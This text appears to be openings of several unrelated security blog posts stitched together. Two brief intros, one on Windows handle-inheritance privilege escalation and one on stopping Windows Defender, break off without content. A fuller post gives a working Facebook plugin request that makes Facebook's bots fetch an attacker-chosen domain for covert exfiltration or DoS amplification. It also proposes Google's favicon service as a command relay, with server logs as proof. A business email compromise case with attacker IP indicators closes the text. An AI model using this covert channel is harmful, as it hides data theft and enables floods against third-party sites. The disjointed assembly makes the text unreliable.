The inheritance of object handles between processes in a Microsoft Windows system can be a good source to identify local privilege elevation (LPE) vulnerabilities. After introducing the basic concepts around this type of security weaknesses, a tool capable of identifying and exploiting them will be presented, providing Pentesters and Researchers with a new point to focus their intrusion and research actions respectively, read on!

Within a Microsoft Windows operating system, processes are able to interact with securable system objects such as files, PIPES, registry keys, threads or even other processes. To do this and through the use of the WINAPI the source process requires the O.S. of a handle to perform a certain action on the object in question.

If the appropriate permissions and/or privileges are available, the O.S. authorizes this access by delivering the aforementioned object handle to the process that requires it. From that moment on it is possible to interact with it within the limits of the requested permissions. Let’s see the following example where a source process would make use of the WinApi OpenProcess function to try to open a target process (spoolsv.exe) in order to obtain information remotely from it (PROCESS_QUERY_INFORMATION).

Often, during an intrusion process it can be useful to have the ability to disable the defense measures of the target computer. For those pentesters who have already tasted the joys of Microsoft’s default on-board security solution, Windows Defender, you will agree with me that it has improved substantially since its first releases, especially the latest cloud-enabled versions for Windows 10. Therefore, it is very likely that we will face this antivirus during an intrusion process, sooner or later.

Very briefly, the main component of Windows Defender is the “WinDefend” service, in charge of launching the continuous monitoring process “MsMpEng.exe” and loading its engine “mpengine.dll“, so if we are able to stop that service, we will be stopping its execution to a large extent.

In the world of advanced persistent threats or APTs, techniques used by malware artifacts play an important role in communication and exfiltering information via C2s (Command & Control). In this sense, there are as many as there are protocols and services and an attacker can draw from his/her imagination. As just small examples of “tricks” for disguising illegitimate traffic as apparently normal information are:

• HTTP requests to apparently licit pages, which have been cracked, housing C2 code.
• Overuse of DNS protocol to exfilter and communicate with attackers.
• Overuse of Google Calendar.

The above list can be almost as long as the number of present and past APT campaigns. In this post I’d like to offer a new form of exfiltration where the infected equipment and C2 don’t directly exchange information at any time. They do so through a legion of bots available to the great giants of the Internet: Google, Facebook or Twitter among others.

What are these bots for or what’s their function? With Facebook, they have a series of agents used to conduct a preview of the content in a link when a comment is posted on this social network. By doing so, it’s possible to present the user with the linked web content in a pleasanter way. So, when the link is received by Facebook they “order” their bots to visit the URL by extracting information from the associated web.

The reader will have realized that by controlling the URL which we want the bots to connect to, we have a way to send information to a domain owed by the attacker, redirecting the request via Facebook. This gives us the first “Infected equipment” -> “C2” communication channel. The request will go unnoticed by any of the victim’s possible security analysts as they’re really requests made against the social network.

The first obstacle to executing the redirection came from the need to have a valid Facebook account and be authenticated to post. Searching a bit further through their documentation, I found I could post without being authenticated. The magic was in the “Developers” section. I can hereby leave you with the GET request that allows you to control Facebook’s bots at your fancy and visit all you resend them.

https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMAIN TO VISIT
&locale=en_US
&numposts=2
&sdk=joey
&width=500

The quick-witted will have already realized that you can use this not only to exfilter information but also, for example, to conduct hidden DoS attacks or increase visitor counts. As an example, I’m giving you my apache log, after telling Facebook to visit my website.

66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-"
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1      
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 
   "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
    "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"

The truth is you can get good amplification as one request to Facebook generated 43 GETs from 10 different bots to the desired website. But, I’m changing the subject, we’re with the APTs.

Now we can exfilter, we need to send control commands to the infected equipment in the victim organization. For this part we’ll look to the Google bots for help. These we can also control so that they not only visit what we want but also send our orders to the infected equipment.

Usually when a C2 wants to execute a command in the victim, it’s not done in the C2 -> “infected equipment” direction but just the opposite, as the malware carrier starts the communication.

Well, Google has a url through which, given a domain, it returns its own favicon, which is perfect for resending back the orders to be executed in the infected equipment.

http://www.google.com/s2/favicons?domain=DOMAIN-TO-VISIT

Once executed, we can see the next request made by the bot in the C2 log:

66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"

In this favicon we could, using stenographic techniques for example, include the control information sent to the infected equipment. We have thus set up a bi-directional communication with the C2s without having a direct channel between the infected equipment and the command and control equipment, perfect for going unnoticed.

Some time ago I had the chance to manage a fraud security incident using a technique based on the classic Man in the Middle, but the rare thing is that the attack was not carried in the network or transport layers but in the application layer, more specifically by email. The case was as follows …

The company “A” used to make major purchases of raw materials from suppliers established in other countries. To begin with the transaction, company “A” was asked a first payment and when the order was entirely at their facilities, before delivery, company “A” proceeded to pay the remaining amount.

All these transactions and arrangements were made by email, in which both parties comment the quantities requested, shipping status, prices and bank accounts to pay transfers. Notably, the company staff “A” was used to working in this way and managed dozens of orders with suppliers from various countries of the world.

In one of the email exchanges with one of the Asian suppliers and right in the middle of a thread of replies (the typical n+1 subject Re: email), the employee of the company “A” received an email from an address with the same user name to that he was used to email, but with a domain belonging to Yahoo! This address corresponded with huyin@yahoo.com. That is:

The body of the mail addressed to the employee of “A” from huyin@yahoo.com contained the whole content of the previous conversation in emails, and urged him (the company “A” employee) to change the contact email from huyin@companyA.com to huyin@yahoo.com. The attacker alleged s/he had problems with corporate email and that he was forced to use his personal account.

This request did not raised any alarm, as s/he could see in the email the whole previous conversation, and that the person knew details of the activities and managements carried. Then the attacker requested a bank account change where company “A” had to make the bank transfer. The employee initially suspected, but finally he accepted and proceeded to transfer the remaining amount from the operation. This transfer was necessary in order to pick up the remaining material. When the company “A” employee asked the required paperwork to collect the material to the attacker, s/he not only agreed, but also asked the advanced payment of another order.

Shocked, the company “A” employee phoned the supplier and he discovered that he knew nothing of the e-mail from Yahoo!, or even that they had received made ​​any payments. Moreover, the provider showed him several emails sent from an address “employeeA@yahoo.es”, which of course the employee “A” had not written. These emails showed that the provider had been also misleaded with the same trap: he had been suggested to use a new mail contact, thus completing a perfect man in the middle via email.

The attacker, who had access to the outsourced email server of the company “A”, looked for mailboxes, until s/he found one that had some responsibility in purchasing matters. At that point s/he just had to get in the way of the communication by telling the employee from “A” to use a new email controlled by him/her and the same to the provider. In this way, all emails that were not important to the attacker, were just forwarded, waiting to get to the billing and transfer phase, when he got in the middle, introducing their own bank account.

During the investigation it was found that the scammers used a kind-like TOR network located in Nigeria to consult Webmail their Yahoo! accounts created. We identified over 100 different IPs all geolocated in Lagos (Nigeria). Here is a little sample for you if you find them for your logs. I hope you don’t …

• 41.138.180.104 : Nigeria (Lagos)
• 41.138.191.3: Nigeria (Lagos)
• 41.71.172.3 : Nigeria (Lagos)
• 41.71.176.164: Nigeria (Lagos)
• 41.138.181.105: Nigeria (Lagos)
• 41.71.150.227: Nigeria (Lagos)
• 41.138.172.30: Nigeria (Lagos)
• 41.71.178.215 : Nigeria (Lagos)
• 41.71.171.78: Nigeria (Lagos)

We are aware that these scams are being made to other companies, so watch your mail server closely, especially if you have it outsourced in large service providers that offer incredibly cheap prices, but do not take seriously the security of the customer data.